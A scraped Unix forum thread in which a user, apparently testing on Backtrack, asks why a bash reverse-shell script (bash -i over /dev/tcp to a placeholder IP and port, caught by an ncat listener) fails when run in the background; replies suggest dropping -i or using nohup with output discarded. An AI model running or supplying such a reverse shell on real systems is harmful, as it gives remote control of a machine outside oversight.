Shell script running in background


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Shell script running in background
# 1  
Old 07-29-2011
Shell script running in background

Dear all,
I have a little problem trying to run a shell script in background, as you can see below.
- the script is a simple one:
Code:
#! /bin/bash
exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0

- the name of the script is test.sh
- the script is executable(chmod +x test.sh)
- on the other computer having IP_ADDR is waiting a netcat application on the port 33445(ncat -l -p 33445)

Well, if I run ./test in foreground everything is working just fine, but when I'm trying to run it in background(./test.sh &) nothing happen(I mean that I get no shell on the other computer).
Moreover, waiting for connection if I type fg, the background shell script show up in foreground and the connection is immediately accomplish.

I want to mention that I used nohup ./test.sh & either but the reasult is almost the same: no connection when the script is running in background.

Could you please help me a little with this issue?

Thank you,

Rgds,

GDU


N.B. I have Backtrack5 running on both computers.

Last edited by radoulov; 07-29-2011 at 04:30 PM.. Reason: Code tags, please!
# 2  
Old 07-29-2011
It will work if you remove the -i option, you'll just won't see the prompt.
# 3  
Old 07-30-2011
hi can you try this one, this works fine on me.

Code:
nohup ./test.sh > /dev/null 2>&1 &

Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Running script in background

Hi, I wrote a KSH script and running it on HP-UX machine I am running one script in background. My script is at location $HOME/myScript/test/background_sh When I view my script in background with psu commend > psu | grep background_sh I see following output UID PID PPID C ... (1 Reply)
Discussion started by: vaibhav
1 Replies

2. Shell Programming and Scripting

Korn Shell script in stopped state while running in background

Hi, I want to run a shell script in background . but its going to stopped state $ ksh cat_Duplicate_Records_Removal.ksh & 8975 $ + Stopped (tty output) ksh cat_Duplicate_Records_Removal.ksh & why is this happening? Also could anyone please tell me what is a stopped... (12 Replies)
Discussion started by: TomG
12 Replies

3. Shell Programming and Scripting

Shell Script for continuously checking status of a another script running in background, and immedia

Hi, I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help.. i am using below command to run script nohup system_traps.sh & but in some... (9 Replies)
Discussion started by: ketanraut
9 Replies

4. Shell Programming and Scripting

Shell scripting issue-running the background script

I have written the below query to genrate a telephone.I am passing account number from oracle database. I am calling 2 scripts which generate the bill 1. bip.sh (it runs in the background) 2.runXitInvoice_PROFORMA_integ bip.sh generates a number which runXitInvoice_PROFORMA_integ uses.How... (7 Replies)
Discussion started by: rafa_fed2
7 Replies

5. Shell Programming and Scripting

Remove Script still running in background

HI I have by mistaken delete my script but its still running in background and giving me output and cretaed ..nfsB5DC2 file. I have kill all my prosses still it running.... How can i stop this script. i have unix solaris systems. (8 Replies)
Discussion started by: asavaliya
8 Replies

6. Shell Programming and Scripting

Running Shell Script in the cron, background process

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (9 Replies)
Discussion started by: blacksteel1988
9 Replies

7. Shell Programming and Scripting

Running Shell Script in the cron, background proccess

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (0 Replies)
Discussion started by: blacksteel1988
0 Replies

8. Shell Programming and Scripting

running the script in background

I have a script called startWebLogic.sh which I was running in the background but the problem is which I used the command :- ps -elf | grep "startWebLogic.sh" | grep -v grep to find the process id but I was unable to find the process id for this script and when I checked from the front end the... (3 Replies)
Discussion started by: maitree
3 Replies

9. UNIX for Advanced & Expert Users

Running script in background

When I run the following snippet in background #!/bin/ksh while do echo "$i" sleep 10 i=`expr $i + 1` done My job got stopped and it says like + Stopped (SIGTTOU) ex1 & I did "stty tostop" as suggested in many of the post but still not working... (3 Replies)
Discussion started by: shahnazurs
3 Replies

10. UNIX for Dummies Questions & Answers

Running the Script in Background.

Gurus, Pls. help on this to run the script in background. I have a script to run the informatica workflows using PMCMD in script. Say the script name is test.sh & Parameters to the script is Y Y Y Y The no of parameters to the bove script is 4. all are going to be a flags. Each flag will... (2 Replies)
Discussion started by: prabhutkl
2 Replies
Login or Register to Ask a Question